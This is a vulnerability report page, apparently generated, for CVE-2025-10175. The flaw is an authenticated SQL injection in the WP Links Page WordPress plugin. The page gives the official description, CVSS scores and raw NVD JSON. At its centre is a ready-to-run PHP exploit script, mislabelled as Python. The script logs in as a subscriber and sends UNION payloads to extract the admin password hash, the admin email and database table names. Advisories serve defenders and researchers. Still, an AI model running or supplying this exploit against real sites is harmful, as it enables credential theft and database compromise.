Security Vulnerability Report
中文
CVE-2025-10175 CVSS 6.5 MEDIUM

CVE-2025-10175

Published: 2025-10-11 10:15:42
Last Modified: 2026-04-15 00:35:42

Description

The WP Links Page plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 4.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Links Page <= 4.9.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-10175 - WP Links Page Plugin SQL Injection PoC * Vulnerability: SQL Injection via 'id' parameter * Affected: WP Links Page <= 4.9.6 * Required: Subscriber-level WordPress account */ // Configuration $target_url = 'https://target-wordpress-site.com'; $cookie_file = '/tmp/wp_cookies.txt'; $attacker_id = 'attacker_user'; $attacker_pass = 'AttackerPass123!'; // Step 1: Login as Subscriber-level user and save cookies $login_url = $target_url . '/wp-login.php'; $post_fields = http_build_query([ 'log' => $attacker_id, 'pwd' => $attacker_pass, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => '1' ]); $ch = curl_init($login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $login_response = curl_exec($ch); curl_close($ch); echo "[*] Logged in as Subscriber user\n"; // Step 2: Craft SQL injection payload targeting 'id' parameter // The vulnerable endpoint processes the 'id' parameter without proper escaping $payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"; $encoded_payload = urlencode($payload); // Step 3: Send the malicious request to extract admin password hash $vuln_url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . $encoded_payload; $ch = curl_init($vuln_url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $http_code\n"; echo "[*] Response:\n$response\n"; // Step 4: Extract database information using UNION-based injection // Example payloads for different data extraction: $payloads = [ "Extract admin hash" => "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -", "Extract admin email" => "1 UNION SELECT user_email FROM wp_users WHERE ID=1-- -", "Extract DB version" => "1 UNION SELECT version()-- -", "Extract table names" => "1 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -" ]; foreach ($payloads as $desc => $sql) { $url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . urlencode($sql); $ch = curl_init($url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); echo "[*] $desc: " . strip_tags($result) . "\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10175", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:41.977", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Links Page plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 4.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/wp-links-page/trunk/wp-links-page-free.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3410752%40wp-links-page&new=3410752%40wp-links-page&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-links-page/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb753b29-ca8c-4044-97ff-3b7e57d5de61?source=cve", "source": "[email protected]"}]}}